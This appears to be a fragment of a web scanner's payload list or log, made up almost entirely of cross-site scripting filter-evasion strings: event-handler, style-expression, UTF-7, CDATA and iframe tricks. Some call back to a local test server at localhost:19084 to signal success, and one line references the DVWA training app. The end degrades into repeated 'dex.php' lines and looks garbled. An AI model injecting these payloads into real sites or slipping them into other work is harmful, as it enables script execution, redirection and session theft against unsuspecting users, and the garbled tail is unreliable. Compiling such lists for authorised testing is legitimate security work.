      "<textarea onfocus=javascript:438ec04f2c6afbb9891620f95ed22fa1 autofocus>\n",
      "<input onfocus=javascript:8ce97d80e0e92cf3200cb1208a4b0ff0 autofocus>\n",
      "<video><source onerror=\"javascript:521e8c221c86b9c36fc51390a362e8c4\">\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:3ce2c88ab785e12997cd4e8a8781d359>X\n",
      "X<form id=test onforminput=javascript:d7c82abb814783bd058aae2d74c8954c><input></form>\n",
      "<body onscroll=0a8d1597ee56957f297b32fdd95d2025><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<video poster=javascript:52c33fa52687645916458635c09e5c7f//\n",
      "<video onerror=\"javascript:3527d611ed6c1e0ab5a5d9a20d518e0c\"><source>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/4f2c0dc4db2f1f493c91e54c44d82bb0\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/036f95d529e2a55c5f757e4328409390')</SCRIPT>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/76a70a94a33f35ccffa19624685f73aa]\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/ad36b94d936656890627cff41a496501\">\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/4954a19e3ee11006533682fe16985bdf\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/826fe543d606cbe24a3a0cd929f28225\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/8702241d66446b4e37754ea4a99ceb83\")}</STYLE>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/9d8767bf95c1e03d58661c2d4f9732b0\">\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<IMG SRC=http://localhost:19084/success/f479df246f6c3c4879aafccfe3d63d37>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG SRC=`http://localhost:19084/success/2a4f538e8faf99b4bd8b90d5c17a7628`>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/f30c1efd1d0389ffbf70c468e78ba5e6\">\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/a1176f204c8b87333ca8a75401eea24f\"></FRAMESET>\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/84cb3f777a9ae6915d672a186d9d87b6\">\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/d78ef735eb4c635eec5c09fcde54f165]\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC='http://localhost:19084/success/e7e292818486273a2a65867a9d4a4809'\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/3f22c0a2207c1b7d444fc323a2d13f44\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/f38543ed684e08b0c71f2cb863a3534b\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/ea2979bd62ab6577440ba26f761a1700'>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/d800ae31e541d5dc95cb1d3f3d51eea8\">\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/07d9e77a43287b74b38e707ee19748d6\")\";eval(a+b+c+d);\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<IFRAME SRC=\"http://localhost:19084/success/0c3a2b54e6a64f41eeae7e9ff49061af\"></IFRAME>\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "--- <IMG SRC=\"http://localhost:19084/success/bae1ab4c4886f52c900b516f5a47116f\"\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/91ef67c19ddc68c2d6828021fcb253f4\");}</STYLE><A CLASS=XSS></A>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/a94c17f83cedca6bbf1f954d4f72a0ef\">\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/68da376720e8625a901f914801fbef46</SCRIPT>\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/12432dbbda0b0c094aad45542f17241a\">]]</C><X></xml>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/eadaeed6b50a8f236feb572a6e5e18a2\">\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<IMG SRC=&{http://localhost:19084/success/e51487f026bd8b9067014826a7296c57};>\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "</pre></div><h2>More Information</h2><ul><li><a href=\n",
      "</pre\n",
      "`http://localhost:19084/success/2a4f538e8faf99b4bd8b90d5c17a7628`\n",
      "`http://localhost:19084/success/2a4f538e8faf99b4bd8b90d5c17a7628`\n",
      "<script>document.location=document.location.hash.substring(1)</script>\n",
      "<script>document.location=document.location.hash.substring(1)</dvwa/images/logo.png\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "\">689a823eb654757e0049f9a3a9eb0cfd\n",
      "</TITLE>fb5a70d8f525f14480fd4e27b163b3e4\n",
      "'';!--\"<05c632a0ffaf92d03da56bb9f7f63b21>=&{()}\"\n",
      "\"><img src=\"x:x\" onerror=\"b4d949f49f1673371d8b71fa44fd1648\">\n",
      "\"><SCRIPT>alert('e91041d837c369f2a685b6c6d45a11b6')</SCRIPT>\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=6e878203c0afc55273b3e6268ecc1f0e>\n",
      "'';!--\"<8bd81f17b0c99c82848e1888ee460cba>=&{()}\"\n",
      "<IMG SRC=`4cb580d67d2e3f9178613ce707b4dce1`>\n",
      "<IMG SRC=\"b60b7390321536070bf0265b5bc01214\">\n",
      "<IMG SRC=6c65ab81e4d96d7b4fbcb43538f54fbe>\n",
      "<IMG \"\"\">bc89ad8cc9daf9d5d8ce5c4ae2fd9d46\">\n",
      "<IMG SRC=\" &#14;  44155bc188a2f0770cdf4eb29ab6d49a\">\n",
      "<DIV STYLE=\"behaviour: url(d4ba5cc61db3f7fb034ea6ed39cbc180);\">\n",
      "<<SCRIPT>13136655bd1da9ed203617021c2c1251//<</SCRIPT>\n",
      "\";5f1efe1ea6142c55a5e7bff1432a3b7f//\n",
      "<IMG SRC='8237f0729616231160231fa723878c13'\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"d93123c7658d0e3b9fa0fd7bac4ea8b1\">\n",
      "<BODY BACKGROUND=\"fddabbd8f71d515950c6771a9e1e93c9\">\n",
      "<BODY ONLOAD=5be86f82b69109da747e0c2767ec8039>\n",
      "<IMG LOWSRC=\"ed6cdc0e67309ce13534ed3e6bba7762\">\n",
      "<IMG DYNSRC=\"2daf72df0da9bacc878c82ae000e23da\">\n",
      "<BGSOUND SRC=\"cff9cbd7edd91ab9cceb7c1dff80f091\">\n",
      "<BR SIZE=\"&{7689c864d9068364a6a91f52ac25df38}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"7551afce7cfc8d4a6d8d02689b997971\">\n",
      "<IMG SRC='vbscript:c2e7906466a9ac47defe3ff6a5cfd5fb'>\n",
      "<IMG SRC=\"livescript:[557aead78a0b3acaed2344bfd41bd4a2]\">\n",
      "<IMG SRC=\"mocha:[fe28db8b086eb3d72a0cd59e1fba516d]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=b77efd007002b1d53f168c70d71c4546\">\n",
      "<TABLE BACKGROUND=\"1c7f7fd6f1cc54b4dc26933f049deb48\">\n",
      "<TABLE BACKGROUND=javascript:a727007072a33ab3b93184fc66991cb9>\n",
      "<TABLE><TD BACKGROUND=\"822fc6077105d4de3f69fa390c853947\">\n",
      "<DIV STYLE=\"background-image: url(ebd4a945bdcf002a2d83913c72182842);\">\n",
      "<DIV STYLE=\"width: expression(2e93727c2a0a64c7acd8fda14052ea03);\">\n",
      "<IFRAME SRC=\"2251718e9c9047399d71e0d523543560\"></IFRAME>\n",
      "<iframe/ /onload=0fd0c36580b69ebfb6e9641e25303cf8></iframe>\n",
      "<iframe/ \"onload=824652160a8b27323b70c4d1f34c02a7></iframe>\n",
      "<iframe///////onload=4399ed6a280fef58c7e082f546ceecf2></iframe>\n",
      "<iframe \"onload=8af90b5070af3e04f3db266f0b709d1b></iframe>\n",
      "<iframe/ \"onload=6b9d0bd1e3b95b0fc1fce341d4ef3296></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=44c60e39e7234b449e4984993b4181f5></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=22e1546312e00d1d0877dea2e898a28f></iframe>\n",
      "<FRAMESET><FRAME SRC=\"41002fac41a2793e4bee266009c4d81b\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"34ca926be9ede6233052d96d059f570b\">\n",
      "<TABLE><TD BACKGROUND=\"31fb3536ca486af5df6e0e23b6a8a05a\">\n",
      "<IMG STYLE=\"xss:expr/*0907e6e05e22dfc87d37607c6f5413e8*/ession(0907e6e05e22dfc87d37607c6f5413e8)\">\n",
      "<DIV STYLE=\"background-image: url(&#1;07bfc90dc8228ddc11a04d448320893d)\">\n",
      "<DIV STYLE=\"width: expression(7597a484e1d4107ac9b9ff6380383bc3);\">\n",
      "<5b49e54c0a9709ec2fd6321bdfbd727a STYLE=\"xss:expression(5b49e54c0a9709ec2fd6321bdfbd727a)\">\n",
      "<STYLE TYPE=\"text/javascript\">ca9815ade50de8808440fee234ddec2e</STYLE>\n",
      "<STYLE>.7840d51fb93255a76c448d4e9420c853{background-image:url(\"7840d51fb93255a76c448d4e9420c853\");}</STYLE><A CLASS=7840d51fb93255a76c448d4e9420c853></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"d95db1252ea0ea54bca0273edb351aeb\")}</STYLE>\n",
      "<!--[if gte IE 4]>2b8bc1658d5909310db95344105af55a<![endif]-->\n",
      "<BASE HREF=\"28ef868d70415f5a08e30624e8d29b91//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=8aec8dd2dbd88b6d85ad2ef3a8b7f2b2></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"f3488669f6ec4fac77cf779f29a973d6\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>bf8a0b911424a641a47a757229c557f4</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;0c0df63c38778cd07b8af5a6648268e9&lt;/SCRIPT&gt;\">\n",
      "<IMG SRC=\"&14;javascript:a0b5f45cd38cf4613f84da84616c5f7f\">\n",
      "<SCRIPT SRC=http://127.0.0.1>c697c330a141d5d995b0d6e25a0e79c3</SCRIPT>\n",
      "<IMG SRC=\"jav&#x0D;ascript:afaa3bf9788459c59b40e54f434cddf9\">\n",
      "--- <IMG SRC=\" &#14;  5905cbcf0fdf7d4ba1fabf3b07c78553\">\n",
      "--- <IMG SRC=\"3a0f169092e04024f196248e90723e0b\"\n",
      "<SCRIPT>a=/bef6bef29389c0f6edbe592356e377ef/alert(a.source)</SCRIPT>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=be50be73369e1499ac021562ff54c499\">\n",
      "--- \";1b596617d2e08823620710ede891ba6e;//\n",
      "<SCRIPT <B>=034ff316526cc3b638ba50f47643ca39\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:265fd9b96c59c0bb099a66d768e4fbc4 <\n",
      "<SCRIPT>a=/04fad12aa547cc833799d17576ef9917/n04fad12aa547cc833799d17576ef9917</SCRIPT>\n",
      "<LAYER SRC=\"javascript:1988248f5487d31079ae862d66410bca></LAYER>\n",
      "<STYLE>li {list-style-image: url(\"c411bbda2fe760cd2ada435881a00198</STYLE><UL><LI>c411bbda2fe760cd2ada435881a00198\n",
      "&e6661e3ff382021d3ebb26c286d1e29d\">\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:2aca65b211c4f4bced69eef234b88d7d\">\n",
      "<a href=\"javascript#8cedf39cdaa1cc42429ec3a43bbab44b\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-87cd30251741cc0dab5f5b4490cfc24c+ADw-/SCRIPT+AD4-\n",
      "<input type=\"image\" dynsrc=\"fb8a7a60af605080851cff3b40cd4728\">\n",
      "&{92609dbfd196f4af8ae521e9dc7e9a78};\n",
      "<a href=\"about:1c4143a1a8fa3816a4462af89817f0cb\">\n",
      "<IMG SRC=&{ca7b376dbfa9230636576c3309523e17};>\n",
      "<DIV STYLE=\"binding: url(javascript:e7244ab32a4643079ce534a1c2cf0be7);\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:64d75b2f6af2a726615341858d170196\">\n",
      "<style><!--</style><SCRIPT>d0e1640aacc41ba47fa2a1ed96a73490//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>18c3191b8aafaac6005263767038e8cf//--></SCRIPT>\n",
      "<!-- -- -->2c7f26df6d719289ef7ed2686c7862e3<!-- -- -->\n",
      "<xml id=\"X\"><a><b>2fbc879aab077a1010974a564f17e5c7;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#6fee4a201b8f0f635ab4df3e579d9851\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:bddd2dba06a5a4d034ecbe6acd4f1030\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:4112e2153c6a3d760f00576e9c756c63\">X\n",
      "<input onfocus=javascript:995c929159781a8bc5fc7e1b94719122 autofocus>\n",
      "<input onblur=javascript:9f45f4fc1154722d4dfdb553d765747b autofocus><input autofocus>\n",
      "<select onfocus=javascript:695fc3c39078d9413dfdce3b88850a7f autofocus>\n",
      "<textarea onfocus=javascript:8388232bfa3354f5b0fc3c81747c7337 autofocus>\n",
      "<keygen onfocus=javascript:babbef0fc76aed166d66ab92b28153a8 autofocus>\n",
      "<video><source onerror=\"javascript:7251eae037679224adf60148cf1a5310\">\n",
      "X<form id=test onforminput=javascript:d78ae3de1a5f340c6f4e6ac5d7bec1cd><input></form>\n",
      "<body onscroll=655ef32a9d27c60f9fcb5652cfb07943><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:1ebde68f0df5b2803a31b81f97920ff1>X\n",
      "<video poster=javascript:5e2fb7d459753fc9792ddbea2b59016f//\n",
      "<video onerror=\"javascript:c19de6c5b686a737b63a8d901fd6710a\"><source>\n",
      "<IMG SRC=`http://localhost:19084/success/4cb580d67d2e3f9178613ce707b4dce1`>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/1c7f7fd6f1cc54b4dc26933f049deb48\">\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG SRC=http://localhost:19084/success/6c65ab81e4d96d7b4fbcb43538f54fbe>\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<IMG SRC=\"http://localhost:19084/success/b60b7390321536070bf0265b5bc01214\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/ed6cdc0e67309ce13534ed3e6bba7762\">\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/557aead78a0b3acaed2344bfd41bd4a2]\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/b4d949f49f1673371d8b71fa44fd1648\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/cff9cbd7edd91ab9cceb7c1dff80f091\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/d93123c7658d0e3b9fa0fd7bac4ea8b1\">\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/e91041d837c369f2a685b6c6d45a11b6')</SCRIPT>\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/fddabbd8f71d515950c6771a9e1e93c9\">\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/41002fac41a2793e4bee266009c4d81b\"></FRAMESET>\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/2daf72df0da9bacc878c82ae000e23da\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/7551afce7cfc8d4a6d8d02689b997971\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/fe28db8b086eb3d72a0cd59e1fba516d]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/c2e7906466a9ac47defe3ff6a5cfd5fb'>\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/f3488669f6ec4fac77cf779f29a973d6\")\";eval(a+b+c+d);\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/7840d51fb93255a76c448d4e9420c853\");}</STYLE><A CLASS=XSS></A>\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<IFRAME SRC=\"http://localhost:19084/success/2251718e9c9047399d71e0d523543560\"></IFRAME>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "--- <IMG SRC=\"http://localhost:19084/success/3a0f169092e04024f196248e90723e0b\"\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/c697c330a141d5d995b0d6e25a0e79c3</SCRIPT>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<IMG SRC=&{http://localhost:19084/success/ca7b376dbfa9230636576c3309523e17};>\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/fb8a7a60af605080851cff3b40cd4728\">\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/bddd2dba06a5a4d034ecbe6acd4f1030\">]]</C><X></xml>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC='http://localhost:19084/success/8237f0729616231160231fa723878c13'\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/822fc6077105d4de3f69fa390c853947\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/34ca926be9ede6233052d96d059f570b\">\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/31fb3536ca486af5df6e0e23b6a8a05a\">\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/d95db1252ea0ea54bca0273edb351aeb\")}</STYLE>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
